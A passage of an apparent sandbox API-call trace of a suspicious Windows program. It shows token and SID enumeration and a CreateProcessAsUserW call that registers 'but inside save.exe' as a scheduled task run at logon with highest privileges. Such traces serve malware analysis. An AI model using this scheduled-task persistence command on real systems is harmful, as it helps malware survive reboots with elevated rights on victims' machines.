Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca94, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0157.246] malloc (_Size=0x18) returned 0x2af240 [0157.246] malloc (_Size=0x18) returned 0x2af1a0 [0157.246] free (_Block=0x2af280) [0157.246] free (_Block=0x2af180) [0157.246] free (_Block=0x2b8710) [0157.246] free (_Block=0x2af1a0) [0157.246] free (_Block=0x2af240) [0157.246] free (_Block=0x2af260) [0157.247] free (_Block=0x2b8b50) [0157.248] malloc (_Size=0x48) returned 0x2ad6d0 [0157.248] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0157.253] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0157.253] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0157.253] malloc (_Size=0x18) returned 0x2af260 [0157.253] CreateEnvironmentBlock () returned 0x1 [0157.295] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0157.295] malloc (_Size=0x18) returned 0x2af240 [0157.295] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xb5c, dwThreadId=0x688)) returned 1 [0157.299] CloseHandle (hObject=0x300) returned 1 [0157.300] CloseHandle (hObject=0x2fc) returned 1 [0157.300] free (_Block=0x2af240) [0157.300] DestroyEnvironmentBlock () returned 0x1 [0157.300] malloc (_Size=0x48) returned 0x2ad680 [0157.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2a28c080, dwHighDateTime=0x1d8a92a)) [0157.300] SetEvent (hEvent=0x1f0) returned 1 [0157.300] CloseHandle (hObject=0x2ac) returned 1 [0157.300] CloseHandle (hObject=0x248) returned 1 [0157.395] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0157.395] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0157.395] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0157.959] SetLastError (dwErrCode=0x0) [0157.959] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0157.959] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0157.959] SetLastError (dwErrCode=0x0) [0157.959] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0157.959] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0157.959] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0157.959] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0157.959] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0157.959] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0157.961] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0157.961] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.961] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.961] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0157.962] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.962] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0157.962] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0157.963] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0157.963] GetCurrentThread () returned 0xfffffffffffffffe [0157.963] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x234) returned 1 [0157.964] malloc (_Size=0xd8) returned 0x2b90e0 [0157.964] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0157.964] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0157.964] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0157.964] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0157.964] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0157.964] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0157.964] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0157.965] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0157.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0157.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0157.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0157.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0157.966] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0157.966] malloc (_Size=0x18) returned 0x2af260 [0157.966] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d4) returned 1 [0157.966] malloc (_Size=0x48) returned 0x2ad680 [0157.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2a79af40, dwHighDateTime=0x1d8a92a)) [0157.966] SetEvent (hEvent=0x1f0) returned 1 [0157.968] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0157.968] GetLastError () returned 0x7a [0157.968] malloc (_Size=0x2c) returned 0x2b8b10 [0157.968] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0157.968] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.968] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0157.968] malloc (_Size=0x1c) returned 0x2b8650 [0157.968] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.968] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0157.969] malloc (_Size=0x18) returned 0x2af260 [0157.969] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0157.969] malloc (_Size=0x18) returned 0x2af240 [0157.969] malloc (_Size=0x18) returned 0x2af1a0 [0157.969] SysStringLen (param_1="S-1-") returned 0x4 [0157.969] SysStringLen (param_1="5") returned 0x1 [0157.969] memcpy (in: _Dst=0x1424e8, _Src=0x142308, _Size=0xa | out: _Dst=0x1424e8) returned 0x1424e8 [0157.969] memcpy (in: _Dst=0x1424f0, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f0) returned 0x1424f0 [0157.969] free (_Block=0x2af260) [0157.969] free (_Block=0x2af240) [0157.969] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0157.969] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0157.969] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0157.969] malloc (_Size=0x18) returned 0x2af240 [0157.969] malloc (_Size=0x18) returned 0x2af260 [0157.969] SysStringLen (param_1="S-1-5") returned 0x5 [0157.969] SysStringLen (param_1="-") returned 0x1 [0157.969] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xc | out: _Dst=0x1424b8) returned 0x1424b8 [0157.969] memcpy (in: _Dst=0x1424c2, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c2) returned 0x1424c2 [0157.969] free (_Block=0x2af1a0) [0157.969] free (_Block=0x2af240) [0157.969] malloc (_Size=0x18) returned 0x2af240 [0157.969] malloc (_Size=0x18) returned 0x2af1a0 [0157.970] SysStringLen (param_1="S-1-5-") returned 0x6 [0157.970] SysStringLen (param_1="21") returned 0x2 [0157.970] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xe | out: _Dst=0x142308) returned 0x142308 [0157.970] memcpy (in: _Dst=0x142314, _Src=0x1424e8, _Size=0x6 | out: _Dst=0x142314) returned 0x142314 [0157.970] free (_Block=0x2af260) [0157.970] free (_Block=0x2af240) [0157.970] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0157.970] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0157.970] malloc (_Size=0x18) returned 0x2af240 [0157.970] malloc (_Size=0x18) returned 0x2af260 [0157.970] SysStringLen (param_1="S-1-5-21") returned 0x8 [0157.970] SysStringLen (param_1="-") returned 0x1 [0157.970] memcpy (in: _Dst=0x1424e8, _Src=0x142308, _Size=0x12 | out: _Dst=0x1424e8) returned 0x1424e8 [0157.970] memcpy (in: _Dst=0x1424f8, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f8) returned 0x1424f8 [0157.970] free (_Block=0x2af1a0) [0157.970] free (_Block=0x2af240) [0157.970] malloc (_Size=0x18) returned 0x2af240 [0157.970] malloc (_Size=0x18) returned 0x2af1a0 [0157.970] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0157.970] SysStringLen (param_1="4219442223") returned 0xa [0157.970] memcpy (in: _Dst=0x117ef8, _Src=0x1424e8, _Size=0x14 | out: _Dst=0x117ef8) returned 0x117ef8 [0157.970] memcpy (in: _Dst=0x117f0a, _Src=0x142308, _Size=0x16 | out: _Dst=0x117f0a) returned 0x117f0a [0157.970] free (_Block=0x2af260) [0157.970] free (_Block=0x2af240) [0157.970] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0157.970] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0157.970] malloc (_Size=0x18) returned 0x2af240 [0157.971] malloc (_Size=0x18) returned 0x2af260 [0157.971] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0157.971] SysStringLen (param_1="-") returned 0x1 [0157.971] memcpy (in: _Dst=0x1179f8, _Src=0x117ef8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0157.971] memcpy (in: _Dst=0x117a1e, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0157.971] free (_Block=0x2af1a0) [0157.971] free (_Block=0x2af240) [0157.971] malloc (_Size=0x18) returned 0x2af240 [0157.971] malloc (_Size=0x18) returned 0x2af1a0 [0157.971] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0157.971] SysStringLen (param_1="4223814209") returned 0xa [0157.971] memcpy (in: _Dst=0x12d6f8, _Src=0x1179f8, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0157.971] memcpy (in: _Dst=0x12d720, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0157.971] free (_Block=0x2af260) [0157.971] free (_Block=0x2af240) [0157.971] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0157.971] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0157.971] malloc (_Size=0x18) returned 0x2af240 [0157.971] malloc (_Size=0x18) returned 0x2af260 [0157.971] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0157.971] SysStringLen (param_1="-") returned 0x1 [0157.971] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x171608) returned 0x171608 [0157.971] memcpy (in: _Dst=0x171644, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x171644) returned 0x171644 [0157.971] free (_Block=0x2af1a0) [0157.971] free (_Block=0x2af240) [0157.971] malloc (_Size=0x18) returned 0x2af240 [0157.972] malloc (_Size=0x18) returned 0x2af1a0 [0157.972] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0157.972] SysStringLen (param_1="3835049652") returned 0xa [0157.972] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0157.972] memcpy (in: _Dst=0x12d736, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0157.972] free (_Block=0x2af260) [0157.972] free (_Block=0x2af240) [0157.972] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0157.972] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0157.972] malloc (_Size=0x18) returned 0x2af240 [0157.972] malloc (_Size=0x18) returned 0x2af260 [0157.972] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0157.972] SysStringLen (param_1="-") returned 0x1 [0157.972] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x171608) returned 0x171608 [0157.972] memcpy (in: _Dst=0x17165a, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x17165a) returned 0x17165a [0157.972] free (_Block=0x2af1a0) [0157.972] free (_Block=0x2af240) [0157.972] malloc (_Size=0x18) returned 0x2af240 [0157.972] malloc (_Size=0x18) returned 0x2af1a0 [0157.972] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0157.972] SysStringLen (param_1="1000") returned 0x4 [0157.972] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0157.972] memcpy (in: _Dst=0x12d74c, _Src=0x1424e8, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0157.972] free (_Block=0x2af260) [0157.972] free (_Block=0x2af240) [0157.972] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0157.972] malloc (_Size=0x5e) returned 0x2b0ad0 [0157.973] free (_Block=0x2af1a0) [0157.973] malloc (_Size=0x18) returned 0x2af1a0 [0157.973] free (_Block=0x2b0ad0) [0157.973] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0157.974] GetLastError () returned 0x7a [0157.974] malloc (_Size=0x14) returned 0x2af240 [0157.974] malloc (_Size=0x16) returned 0x2af260 [0157.974] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca84, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0157.974] malloc (_Size=0x18) returned 0x2af180 [0157.974] malloc (_Size=0x18) returned 0x2af280 [0157.974] free (_Block=0x2af240) [0157.974] free (_Block=0x2af260) [0157.974] free (_Block=0x2b8650) [0157.975] free (_Block=0x2af280) [0157.975] free (_Block=0x2af180) [0157.975] free (_Block=0x2af1a0) [0157.975] free (_Block=0x2b8b10) [0157.975] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0157.975] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0157.975] GetLastError () returned 0x7a [0157.975] malloc (_Size=0x2c) returned 0x2b8b50 [0157.975] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0157.975] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.975] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0157.975] malloc (_Size=0x1c) returned 0x2b8650 [0157.975] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0157.975] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0157.975] malloc (_Size=0x18) returned 0x2af1a0 [0157.975] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0157.975] malloc (_Size=0x18) returned 0x2af180 [0157.975] malloc (_Size=0x18) returned 0x2af280 [0157.976] SysStringLen (param_1="S-1-") returned 0x4 [0157.976] SysStringLen (param_1="5") returned 0x1 [0157.976] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xa | out: _Dst=0x142308) returned 0x142308 [0157.976] memcpy (in: _Dst=0x142310, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142310) returned 0x142310 [0157.976] free (_Block=0x2af1a0) [0157.976] free (_Block=0x2af180) [0157.976] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0157.976] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0157.976] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0157.976] malloc (_Size=0x18) returned 0x2af180 [0157.976] malloc (_Size=0x18) returned 0x2af1a0 [0157.976] SysStringLen (param_1="S-1-5") returned 0x5 [0157.976] SysStringLen (param_1="-") returned 0x1 [0157.976] memcpy (in: _Dst=0x1424e8, _Src=0x142308, _Size=0xc | out: _Dst=0x1424e8) returned 0x1424e8 [0157.976] memcpy (in: _Dst=0x1424f2, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f2) returned 0x1424f2 [0157.976] free (_Block=0x2af280) [0157.976] free (_Block=0x2af180) [0157.976] malloc (_Size=0x18) returned 0x2af180 [0157.976] malloc (_Size=0x18) returned 0x2af280 [0157.976] SysStringLen (param_1="S-1-5-") returned 0x6 [0157.976] SysStringLen (param_1="21") returned 0x2 [0157.976] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xe | out: _Dst=0x1424b8) returned 0x1424b8 [0157.976] memcpy (in: _Dst=0x1424c4, _Src=0x142308, _Size=0x6 | out: _Dst=0x1424c4) returned 0x1424c4 [0157.976] free (_Block=0x2af1a0) [0157.976] free (_Block=0x2af180) [0157.976] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0157.977] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0157.977] malloc (_Size=0x18) returned 0x2af180 [0157.977] malloc (_Size=0x18) returned 0x2af1a0 [0157.977] SysStringLen (param_1="S-1-5-21") returned 0x8 [0157.977] SysStringLen (param_1="-") returned 0x1 [0157.977] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0x12 | out: _Dst=0x142308) returned 0x142308 [0157.977] memcpy (in: _Dst=0x142318, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142318) returned 0x142318 [0157.977] free (_Block=0x2af280) [0157.977] free (_Block=0x2af180) [0157.977] malloc (_Size=0x18) returned 0x2af180 [0157.977] malloc (_Size=0x18) returned 0x2af280 [0157.977] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0157.977] SysStringLen 